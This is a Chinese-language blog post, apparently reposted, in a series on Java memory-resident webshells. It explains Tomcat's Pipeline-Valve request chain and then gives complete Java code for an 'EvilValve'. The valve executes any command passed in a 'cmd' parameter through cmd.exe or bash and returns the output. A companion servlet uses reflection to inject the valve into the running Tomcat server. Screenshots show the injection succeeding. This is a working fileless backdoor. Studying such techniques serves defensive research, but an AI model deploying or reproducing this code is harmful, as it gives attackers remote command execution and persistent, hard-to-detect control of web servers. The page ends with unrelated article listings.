浅析Tomcat架构上的Valve内存马(内存马系列篇十一)

news/2024/4/20 5:32:24/文章来源:https://blog.csdn.net/text2206/article/details/129241547

写在前面

这篇也是在Tomcat容器上面构造的内存马(收回之前说的不搞Tomcat了),这是建立在Tomcat的管道上面做文章的一个内存马的实现方式。这是内存马系列的第十一篇文章了。

前置

什么是Pipeline-Valve管道?

根据前面Tomcat架构的相关知识,我们是知道对于Tomcat中的Container层有四个容器:

Engine

Host

Context

Wrapper

四个容器的具体实现为。

image-20221001104548654.png

四个容器中都包含有自己的管道对象,管道对象用来存放若干阀门对象。Tomcat为其分别制定了一个默认的基础阀门。

image-20221001104820970.png

四个基础阀门放在各自容器管道的最后一位,用于查找下一级容器的管道在每个容器对象里面都有一个pipeline及valve模块。

在上层容器的管道的BaseValue 中会调用下层容器的管道。

对于Pipeline处理的流程图如下:

image-20221001104936955.png

流程分析

Container 中的Pipeline 在抽象实现类ContainerBase 中定义。

image-20221001112443299.png

而对于上面提到的标准valve实现,他们都继承了ContainerBase类,共同维护了同一个Pipeline对象

并且分别通过调用startInternal/stopInternal/destroyInternal等方法调用相应的生命周期。

image-20221001112845728.png

image-20221001112905560.png

image-20221001112915146.png

而又因为四个组件都是继承ContainerBase,所以,每个组件在执行生命周期的同时也会调用对应方法

我们跟进一下Valve的标准实现StandardPipeline,Tomcat将会通过调用ContainerBase#addValve方法的方式来将所有的valve通过链表的方式组织起来。

image-20221001113925509.png

进而调用的是pipeline.addValve方法,进而是StandardPipeline#addValve方法的调用。

image-20221001114632635.png

因为我并没有配置多余的Valve,所以,这个容器只有一个基础阀(this.first=null)将valve赋值给first变量,并且设置
valve的下一个阀门为基础阀。如果这里的first不为空,遍历阀门链表,将要被添加的阀门设置在 基础阀之前。

对于其生命周期的实现:

因为StandardPipeline类继承至LifecycleBase,
所以其分别调用startInternal/stopInternal/destroyInternal方法来进行执行

startlnternal 方法和stopInternal 方法处理的过程非常相似,都是使用临时变量current 来遍历Value 链里的所有Value
,如果first 为空则使用basic ,然后遍历所有Value 并调用相应的start 和stop
方法,然后设置相应的生命周期状态。destroyInternal 方法是删除所有Value。

image-20221001115859113.png

而该类对于请求处理的方法为:

Connector 在接收到请求后会调用最顶层容器的Pipeline 来处理,顶层容器的Pipeline 处理完之后就会在其BaseValue
里调用下一层容器的Pipeline 进行处理.这样就可以逐层调用所有容器的Pipeline 来处理了

我们可以定位到CoyoteAdapter#service方法中。

image-20221001120136313.png

在进行连接请求的时候,将会获取顶层容器的Pipeline,调用其invoke方法进行处理。

image-20221001120314439.png

虽然对应的StandardPipeline中的first为null,
但是可以调用其getFirst方法,获取到basic中的Valve,这里存放的就是下一层的Valve对象。

image-20221001120505743.png

之后又调用下一层的invoke方法。

image-20221001120742448.png

正文

分析注入

通过上面的分析,我们可以知道,在处理请求的时候,Pipeline管道主要是通过调用Valveinvoke方法来进行处理请求的。

所以,如果我们能够创建一个恶意的Valve,并将其添加进入Valve链中,那么在处理请求的时候,将会调用我们创建的Valve的invoke方法,进而执行恶意代码。

根据上面的分析,我们可以知道,对于Valve的添加,主要是通过StandardPipeline#addValve方法进行添加。

image-20221001124921944.png

将会将我们构建的Valve添加在first之后,basic之前。

实现内存马

总结一下步骤就应该为两步

  1. 创建一个恶意的Valve

  2. 调用StandardPipeline#addValve方法将其添加进Valve链

首先处理第一步,根据前面的分析,一个符合条件的恶意Valve是需要继承ValveBase这个抽象类的。

image-20221001125506003.png

所以我们继承了之后,重写其invoke方法。

package pres.test.momenshell;import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;import javax.servlet.ServletException;
import java.io.IOException;
import java.util.Scanner;public class EvilValve extends ValveBase {@Overridepublic void invoke(Request request, Response response) throws IOException, ServletException {String cmd = request.getParameter("cmd");if (cmd != null) {try {java.io.PrintWriter printWriter = response.getWriter();ProcessBuilder processBuilder;String o = "";if (System.getProperty("os.name").toLowerCase().contains("win")) {processBuilder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});} else {processBuilder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});}java.util.Scanner scanner = new Scanner(processBuilder.start().getInputStream()).useDelimiter("\\A");o = scanner.hasNext() ? scanner.next() : o;scanner.close();printWriter.println(o);printWriter.flush();printWriter.close();} catch (Exception e) {e.printStackTrace();}}}
}

之后第二步就是获取StandardPipeline,调用其addValve方法。

package pres.test.momenshell;import org.apache.catalina.core.StandardContext;import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;public class AddTomcatValve extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {this.doPost(req, resp);}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {try {ServletContext servletContext = req.getServletContext();StandardContext o = null;//循环获取 StandardContext对象while (o == null) {Field context = servletContext.getClass().getDeclaredField("context");context.setAccessible(true);Object object = context.get(servletContext);if (object instanceof ServletContext) {servletContext = (ServletContext) object;} else if (object instanceof StandardContext) {o = (StandardContext) object;}}// 添加自定义的ValveEvilValve evilValve = new EvilValve("aaa");o.getPipeline().addValve(evilValve);resp.getWriter().println("add successfully!!");} catch (Exception e) {e.printStackTrace();}}
}

这里是直接创建了一个Servlet进行注入,对于如何从当前线程中获取对应的StandardContext对象的各种方法总结将会在后面单独有一篇来讲述。之后在web.xml中进行配置,就可以访问这个Servlet了。

实例

相关的代码上面都有了,我们直接来看看效果,访问/addTomcatValve路由。

image-20221001152228180.png

成功注入内存马,我们测试是否成功注入。

image-20221001152303281.png

明显,成功写入了内存马。

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_74678.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java中的this与super关键字深度解析

一、this关键字this 关键字是 Java 常用的关键字,可用于任何实例方法内指向当前对象,也可指向对其调用当前方法的对象,或者在需要当前类型对象引用时使用。(1)this.属性名this修饰的变量用于指代成员变量方法的形参如果…

3 决策树及Python实现

1 主要思想 1.1 数据 1.2 训练和使用模型 训练:建立模型(树) 测试:使用模型(树) Weka演示ID3(终端用户模式) 双击weka.jar选择Explorer载入weather.arff选择trees–>ID3构建树…

SVIP优先办理服务-课后程序(JAVA基础案例教程-黑马程序员编著-第八章-课后作业)

【案例8-2】 Svip优先办理服务 【案例介绍】 1.任务描述 在日常工作生活中,无论哪个行业都会设置一些Svip用户,Svip用户具有超级优先权,在办理业务时,Svip用户具有最大的优先级。 本案例要求编写一个模拟Svip优先办理业务的程…

newbing的注册使用

newbing是一款全新的智能搜索引擎,它可以帮助你快速、准确地找到你想要的信息,还可以与你进行友好、有趣的对话。newbing不仅拥有强大的搜索功能,还具备创造性和逻辑性,可以为你生成诗歌、故事、代码、歌词等各种内容。newbing还可…

【Spring从成神到升仙系列 一】2023年再不会动态代理,就要被淘汰了

👏作者简介:大家好,我是爱敲代码的小黄,独角兽企业的Java开发工程师,CSDN博客专家,阿里云专家博主📕系列专栏:Java设计模式、数据结构和算法、Kafka从入门到成神、Kafka从成神到升仙…

浅析 Redis 主从同步与故障转移原理

我们在生产中使用 Redis,如果只部署一个 Redis 实例,当该实例宕机,到恢复之前都不可用;虽说 Redis 一般都用来做缓存,但不可用给业务系统带来的影响也是不小的,流量大时甚至会导致整个服务宕机。所以 Redis…

芯驰(E3-gateway)开发板环境搭建

1-Windows下环境配置 可以在Windows上使用命令行或者IAR IDE编译SSDK项目。Windows编译依赖的工具已经包含在 prebuilts/windows 目录中,包括编译器、Python和命令行工具。 1.1.1 CMD SSDK集成 msys 工具,可以在Windows命令行中完成SDK的配置、编译和…

Binder系统-C程序示例_框架分析

IPC:进程间的通信,远程调用,比如我们的A进程需要打开LED灯,调用led_open/led_ctl方法,但是他是没有权限去操作的,所以进程A通过:1.首先构造一些数据,2.通过IPC发送数据到进程B&#…

【分布式系统】MinIO之Multi-Node Multi-Drive架构分析

文章目录架构分析节点资源硬盘资源服务安装安装步骤创建系统服务新建用户和用户组创建环境变量启动服务负载均衡代码集成注意最近打算使用MinIO替代原来使用的FastDFS,所以一直在学习MinIO的知识。这篇文章是基于MinIO多节点多驱动的部署进行研究。 架构分析 节点资…

SpringBoot配置文件(properties yml)

查看官网更多系统配置项:https://docs.spring.io/spring-boot/docs/current/reference/html/application-properties.html#application-properties 1.配置⽂件作⽤ 整个项⽬中所有重要的数据都是在配置⽂件中配置的,⽐如:数据库的连接信息&am…

怎么把音乐传到苹果手机上?如何将铃声导入iphone

很多人肯定都有这样的经验—比起电脑,使用iPhone和iPad播放音乐能获得更好的声音体验。 因此,现在有越来越多的用户将音乐传输到iPhone/iPad上播放。怎么把音乐传到苹果手机上?把音乐导入苹果手机,主要有2种方法:一种是…

vue中的百度地图的搜索定位功能

效果图 申请百度地图AK 前往 百度地图开放平台控制台 ,登录百度账号,创建应用即得。 封装loadBMap.js文件 /*** 动态加载百度地图api函数* param {String} ak 百度地图AK,必传*/ export default function loadBMap(ak) {return new Promise…

Python曲线肘部点检测-膝部点自动检测

文章目录一. 术语解释二. 拐点检测肘部法则是经常使用的法则。很多时候,可以凭人工经验去找最优拐点,但有时需要自动寻找拐点。最近解决了一下这个问题,希望对各位有用。一. 术语解释 **肘形曲线(elbow curve)**类似人胳膊状的曲线&#xff…

【ArcGIS Pro二次开发】(10):属性表字段(field)的修改

在ArcGIS Pro中,经常会遇到用字段计算器对要素的属性表进行计算。下面以一个例子演示如何在ArcGIS Pro SDK二次开发中实现。 一、要实现的功能 如上图所示的要素图层,要实现如下功能: 当字段【市级行政区】的值为【泉州市】时,将…

服务网格领域的百花齐放

服务网格是一种技术架构,它用于管理微服务系统中各个服务之间的通信,旨在处理微服务间的流量(也称为东西向流量)。 ​ 在云原生应用中,一个应用的背后可能存在着成百上千个服务,各个服务可能又有着若干个实…

【论文速递】EMNLP 2020 - 将事件抽取作为机器阅读理解任务

【论文速递】EMNLP 2020 - 将事件抽取作为机器阅读理解任务 【论文原文】:Event Extraction as Machine Reading Comprehension 【作者信息】:Jian Liu and Yubo Chen and Kang Liu and Wei Bi and Xiaojiang Liu 论文:https://aclantholo…

[音视频] wav 格式

wav 格式结构 WAV文件遵循RIFF规则,其内容以区块(chunk)为最小单位进行存储。WAV文件一般由3个区块组成:RIFF chunk、Format chunk和Data chunk。另外,文件中还可能包含一些可选的区块,如:Fact…

算法leetcode|38. 外观数列(多语言实现)

文章目录38. 外观数列:样例 1:样例 2:提示:分析:题解:rustgocpythonjava38. 外观数列: 给定一个正整数 n ,输出外观数列的第 n 项。 「外观数列」是一个整数序列,从数字…

异步交互的关键——Ajax

文章目录1,Ajax 概述1.1 作用1.2 同步和异步1.3 案例1.3.1 分析1.3.2 后端实现1.3.3 前端实现2,axios2.1 基本使用2.2 快速入门2.2.1 后端实现2.2.2 前端实现2.3 请求方法别名最后说一句1,Ajax 概述 AJAX (Asynchronous JavaScript And XML):异步的 Jav…

C语言--指针进阶2

目录前言函数指针函数指针数组指向函数指针数组的指针回调函数前言 本篇文章我们将继续学习指针进阶的有关内容 函数指针 我们依然用类比的方法1来理解函数指针这一全新的概念,如图1 我们用一段代码来验证一下: int Add(int x, int y) {return xy;…